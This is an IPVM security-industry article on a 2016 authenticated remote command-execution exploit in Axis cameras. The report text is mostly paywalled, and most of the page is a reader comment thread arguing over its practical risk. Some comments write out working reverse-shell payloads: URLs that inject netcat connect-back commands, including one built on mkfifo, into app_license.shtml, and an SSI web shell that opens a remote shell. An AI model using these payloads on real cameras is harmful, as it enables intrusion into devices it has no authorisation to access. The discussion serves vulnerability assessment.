Axis OrwellLabs Exploit Tested

By: IPVM Team, Published on Jul 29, 2016

Another exploit has been reported for Axis cameras (OrwellLabs AXIS Authenticated Remote Command Execution), less than a month after Axis critical security vulnerability.

However, we have tested this exploit and it is not of much practical risk. In this report, we explain how the exploit works, demonstrate it in a video screencast, comment on other security issues and contrast to the Bashis exploit we tested.

******* ******* *** **** reported *** **** ******* (********** **** ************* ****** Command *********), **** **** * month ********* ******** ******** *************.

*******, ** **** ****** this ******* *** ** is *** ** **** practical ****. ** **** report, ** ******* *** *** exploit *****, *********** ** in * ***** **********, comment ** ***** ******** issues *** ********** *** ****** ******* we ******.

[***************]

Summary *******

*** **** ** ***** as **** ** ******* this *******, ***** ****** ******* the ****** ** *** exploit.

***** *** ******* **** allow ********* ** ********* commands, ** ******** *** knows *** **** ******** anyway ***** ** **** through ***, ***** ** also ********* ** **** users. 

******: ** * ********* notes, *** **** ******* online **** ********* ** easily ******* / ********** root *********, **** ***** allow **** ****** **** might ** ********* *** available if *** **** **** for *** ** ******* / ********.

*** ******* ****** **** the **** / ****** application ******* ** *** Axis ****** *** *********.

*** *****

*************, ****** *** ********** disclosed **** **** ****** ago, **** ** *** fixed ** *** ****** Axis ****** ********. ** should **, ** ** certainly ** *** ******** to **** *** ***** provide **** *********** *** problems.

******: **** *** ***** in ********** **** ********.

Exploit ************

*** ***** ***** ***** the ******* ** ******:

 

Other ******** *****

***** ********* **** ******* a *** ***** ****** tier ******** ****** *** worth ******:

  • ****, ***** **** ******* was *****, ** ******** by ******** **** *********** partners ** ******** *****. Partners *** **** **** does *** ************* ******* applications (***** **** ** an ******) *** **** this ***** ****** ** badly ******** **** ******** performance problems ** ********* *******.
  • **** **** *** ******* a ****** ****** ** the *** *********, ***** is * ****** ******** risk ** *** **** does *** **** **** the ****** ******* *** someone **** **** *** computer.
  • **** **** *** ******** multiple ***** ******** ***** could **** * ***** force, ********** ***** ******.

Contrast ** ****** / ****** ****** *******

***** ** *** ****** practical **** ** *** OrwellLabs *******, ********* ****** ****** ****** exploit** * ***** ****. The *** ********** ** that *** ****** *** does *** ******* **************, i.e., ** **** ** you *** ******* ** the ****** **** * network, *** ** *** need ** **** **** password *** *** *** get **** ******. **** is * ***** ********** and * *********** **** for *** *****.

Comments (22)

While it is not as threathening as the Bashis exploit, it still is a real danger and should have been fixed as pointed out in the article.

Still to many camera that i come across have weak/default passwords in them and then this type of problem can get real.

There's no single measure you can take to make your security waterproof but i think it's just good practice to take as many as you can in any given circumstances

if you already know the admin/root password, how dangerous is a exploit that requires admin/root password? Different story if it is exploitable by "non privileged user" to gain root privileges... try the exploit as non privileged user, to gain higher privileges, that would matter more.. otherwise, login with telnet or ssh instead...

As follow up, just tested this "exploit" as non privileged user with one Axis cam of mine, and it doesn't work. To this i do understand that Axis would not recognise this as an "vulnerability" to their products.

However, i do agree to that the fact it's a bug, and should be fixed, who knows... this could be exploited in the future by an file permission mistake from Axis side.

Right now, this so called "exploit" is bullshit... sorry to say, but for me the report it's only noice without substance...

The "exploit" could be compared to "i just hacked my neighbours vehicle, but i needed to steal the car keys before".

It's not total bullsh**.

Here's a scenario that can be exploited TODAY using this bug.

Its true that to use this you must be root. It's also true that if you are root you can enable ssh.

But just because you can enable ssh doesn't mean you can use ssh remotely. Because the firewall probably isn't open for that port, and changing the port for ssh to 80 would kill the video.

So what cameras are at risk?

All Axis devices that have the default root:pass unchanged and have no remote ssh access becsuse of the firewall.

How many is that?

Also, to remind that there is common ground here, as you said in the original discussion, which I agree:

This exploit has no practical use that I can see, as it stands now at least.
The other one on the other hand, is as bad as they get...

I was wrong when I said that it has no practical use, it has at least a small zero-day use.

It's no bashis exploit, but combined with root:pass vulnerability it gives you away around the firewall.

This makes it more incomprehensible why it wasn't plugged already.

The main main thing is.

Your ARE root on the cam.

You CAN do what you want.

Even from the Web GUI.

What's the exploit?

1st

Please tell me, what do you need this "exploit" for if you already know the login/password?

2nd

All Axis cams do force to change the password on first login.

3rd

Yes, if someone put up a cam on Internet without doing anything, you could actually use the so called "exploit", please try shodan and see how many you could access with root/pass.

Regarding the exploit, it's complete bullshit, you don't gain anything - you need to be freaking root to use it.

If you could be "regular user" and gain higher privileges, then i would not disagree.

One thing I would like to dispel is the notion of the "brilliant" self-encapsulated hack as being the sole method of exploit creation.

As often as not, a damaging exploit is really the novel combination of several existing non-critical exploits brought together in a perfect storm to create a critical vulnerability. Like tumblers in a lock falling one by one.

That is why it is essential to fix any unexpected behaviors at once. Because if Axis does not expect them, how can they evaluate the security of the device as a whole?

Although this "exploit may be of modest utility today, it is still unexpected remote command execution, and I see no reason for Axis to let it persist. If not, make it a feature... :)

Of course Axis needs to fix the bug, one day it may be wrong permissions on the the file and the hack could be executed as non root user.

But today, the bug demands to be root to be used.

1st

Please tell me, what do you need this "exploit" for if you already know the login/password?

Because the Axis web interface does not provide a remote shell callback mechanism natively.

2nd

All Axis cams do force to change the password on first login.

Wrong. Older firmware do not. Newer firmware force you to choose a password, many for nostalgic reasons choose root:pass. Because it makes it easier for them. This was a brilliant move on Axis part as it allowed them to tout their security but allowed integrators who didn't like it to effectively not use it. After all what's the difference between login in with root:pass or typing pass:pass the first time.

3rd

Yes, if someone put up a cam on Internet without doing anything, you could actually use the so called "exploit", please try shodan and see how many you could access with root/pass.

I have on numerous occasions, have you really tried?

Finally, I think that this is not a major hole just because you could install a reverse shell as root by knowing the VAPIX API alone and using editfile.cgi etc to change some startup file, reboot or something. But this is a nice and neat way requiring no knowledge of VAPIX, which is what the script kiddies want.

Your characterization of this hack as "Bullsh**" is unfair.

Mr 2

It's a bug, nothing else. and yes, it should be fixed.

In older firmwares you find plenty of bugs, and sometimes you do find something you can exploit without be logged in. Like bashis exploit.

But calling something like this as "exploit" that you already need to be root to execute (i.e. you know login and password for root) to utilise, is wrong "advertising". When you ARE root, you have everything in your hands, and you can do whatever you would like to. Nothing stops you. Not even remote connect back shell. It's up to your imagination.

It's complete nonsense to call this as "hack" or even "vulnerability", it's nothing more then regular "stolen" root account. Yes, there exist a bug, but utilise the bug, you need to be root. Thats the key - root!

IF you was regular user (let's say 'n00b'), login as 'n00b', and gain 'root' privileges with this so called "exploit", i would agree with the report - but as it's now, no.. i do not. It's no exploit nor hack.

Show me your code to get a interactive shell without cutting the video feed when behind a firewall with only port 80 open.

You have root.

what open out then? port 443? or only port 80 in and out?

You know, there is lots of files that you can tamper with, for instance /etc/crontab or any file in /usr/lib/systemd/system/multi-user.target.wants that easily could load a simple netcat connect back shell.

Thats the minor problem, the major problem is to get in, but please give me your Axis cam IP or Linux computers IP with root login and password, I will show you my connect back shell.

Get out is the minor problem.

How about you just modify your "bull****" statement to something along the lines of:

I don't believe that this exploit creates a real danger to Axis cameras in the wild, since it requires root to run in the first place, and therefore someone would be able to achieve the same result thru other methods, even without a simpler remote command execution url.

Nonetheless, I recognize that finding this unexpected behavior is helpful to security at large, as it could be used as part of another more critical exploit in the future if not identified and patched.

Thats the minor problem, the major problem is to get in, but please give me your Axis cam IP....

Ok, camera is a M3006 firmware 6.3x, factory defaulted, credentials set to root:pass. My camera. Port 80 is forwarded.

Say your still game and I'll publish the address... :)

On this M3006, I can confirm that:

http://192.168.1.1/app_license.shtml?app=ORWELLLABS%3Bnc%20192.168.1.2%2031377%20-e%20/bin/sh

does create a remote shell. There may be other ways, but I don't think any are easier or require less knowledge of Axis architecture.

As for the entirely reasonable suggestions of

You know, there is lots of files that you can tamper with, for instance /etc/crontab or any file in /usr/lib/systemd/system/multi-user.target.wants that easily could load a simple netcat connect back shell.

At least on this M3006, there is no cron or crontab, and the /usr filesystem is read only.

Remember now, we have already logged in in the cam as root, so below are no 0-day exploits… (only stupid code)

Maybe your "nc" don’t have the "-e" option, try this instead:

http://192.168.1.1/app_license.shtml?app=;mkfifo%20/tmp/s;nc%20-w%205%20192.168.1.2%2031337%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s

Equivalent could be executed by adding this small piece of code in /usr/html/local.

# cat /usr/html/local/back.shtml
<!--#include virtual="/incl/top_incl.shtml" -->
<!--#exec cmd="mkfifo /tmp/s;nc -w 5 $ip$ $port$ 0</tmp/s|/bin/sh>/tmp/s 2>/tmp/s; rm /tmp/s" -->
<!--#include virtual="/incl/bottom_incl.shtml" -->

Call with:

http://192.168.1.1/local/back.shtml?ip=192.168.1.2&port=31337

Maybe your nc doesn't have the -e option.

Its not my nc, it's Axis' chosen busybox nc make.

Do you find the dummy version of nc (without -l) out there a lot?

The named pipes are nice in a pinch though.

So, the Orwell guy found an easy way to execute a command, without even creating a file. It's just a little thing but why give him such a hard time?

Whatever, I'm out of this thread now..

Ok, have a good one!

p.s. have you ever set-up a reverse http using fifo and 4 nc processes?

like in the case when you can only connect out from the camera but wish to browse the web server remotely?

Geez, I feel bad for all these Axis partners who have to disclose all these exploits to their customers and explain why they should risk their networks!

Login to read this IPVM report.
Why do I need to log in?
IPVM conducts unique testing and research funded by member's payments enabling us to offer the most independent, accurate and in-depth information.

Related Reports

China DVR/NVR Backdoor Discovered, Huawei Refutes on Feb 07, 2020
A backdoor was found in Chinese-produced DVRs and NVRs that secretly allowed access to the recorders. While it was first attributed to Huawei...
Dahua New Critical Vulnerability 2019 on Sep 23, 2019
Dahua has quietly admitted 5 new vulnerabilities including 1 critical vulnerability with a 9.8 / 10.0 CVSS score and 2 high vulnerabilities (scored...
Uniview OEM Directory on Sep 11, 2019
This directory lists 20+ companies that OEM products from Uniview, with a graphic and links to company websites below. It does not cover all...
ONVIF Exposure To "Devastating DDoS Attacks" Examined on Sep 06, 2019
ZDnet reported "Protocol used by 630,000 devices can be abused for devastating DDoS attacks", citing exposure of ONVIF devices. And after an...
Critical Vulnerability Across 18+ Network Switch Vendors: Cisco, Netgear, More on Aug 26, 2019
Cisco, Netgear and more than a dozen other brands, including small Asian ones, have been found to share the same critical vulnerability, discovered...
Dahua Wiretapping Vulnerability on Aug 02, 2019
IPVM has validated, with testing, and from Dahua, that many Dahua cameras have a wiretapping vulnerability. Even if the camera's audio has been...
Vivotek Trend Micro Cyber Security Camera App Tested on Jul 22, 2019
Vivotek and Trend Micro are claiming five million blocked attacks on IP cameras, with their jointly developed app for Vivotek cameras. This new...
LifeSafety Power NetLink Vulnerabilities And Problematic Response on May 20, 2019
'Power supplies' are not devices that many think about when considering vulnerabilities but as more and more devices go 'online', the risks for...
Security Fail: ASISNYC Auto Emails Passwords In Plain Text on May 14, 2019
ASIS NYC automatically emails a user with the password the user just entered, in plain text, when one registers for the site / event, as the...
Subnetting for Video Surveillance on Apr 30, 2019
This guide explains when subnetting is used on security networks, and how it works. We explain how to add or remove IP addresses to your range,...

Most Recent Industry Reports

Proxy Presents Mobile Credentials For BLE Devices and Access on May 29, 2020
Proxy presented Mobile Credentials For BLE Devices and Access at the May 2020 IPVM Startups show. Inside this report: A 30-minute video...
ISC West 2020 Moves To The Basement on May 29, 2020
The twice cancelled/postponed show will now not only be held in a different month (October) but on a different floor, moving down to the...
Integrators Avoiding Coronavirus Air Travel on May 29, 2020
IPVM asked integrators if air travel is part of their 2020 plans to see how significantly Coronavirus will impact future...
Viakoo Presents Cyber Hygiene for Cameras on May 28, 2020
Viakoo presented its 'Cyber Hygiene' and 'Service Assurance' products at the April 2020 IPVM New Products show. Inside this report: A...
Seek Scan Thermal Temperature Screening System ReTested on May 28, 2020
Now that IPVM has tested Dahua, Hikvision, and Sunell, we are returning to Seek, the first blackbody system we tested and retested it with our...
Directory of 110 "Fever" Camera Suppliers on May 28, 2020
This directory provides a list of "Fever" scanning thermal camera providers to help you see and research what options are available. There are...
Fever Cameras Are Medical Devices, Per The FDA, Dahua, Feevr, Hikvision, InVid Contrary Claims Are False on May 28, 2020
Fever cameras are medical devices, despite what euphemisms various sellers use. The US FDA clearly categorizes them as medical devices and...
Wyze Raises $10 Million And Seeks Services Expansion on May 27, 2020
Wyze has raised $10 million, the company's first disclosed raise since the $20 million announced at the beginning of 2019. Inside this note,...
"Fever Camera" Show June 2020 Next Tuesday on May 27, 2020
IPVM is excited for the world's first "Fever Camera" show, to be held next Tuesday June 2nd and Wednesday the 3rd from 11am to 3pm EDT, giving you...
Startup Videoloft Presents Cloud Storage on May 27, 2020
Videoloft presented offsite cloud storage at the May 2020 IPVM Startups show. A 30-minute video from Videoloft including IPVM...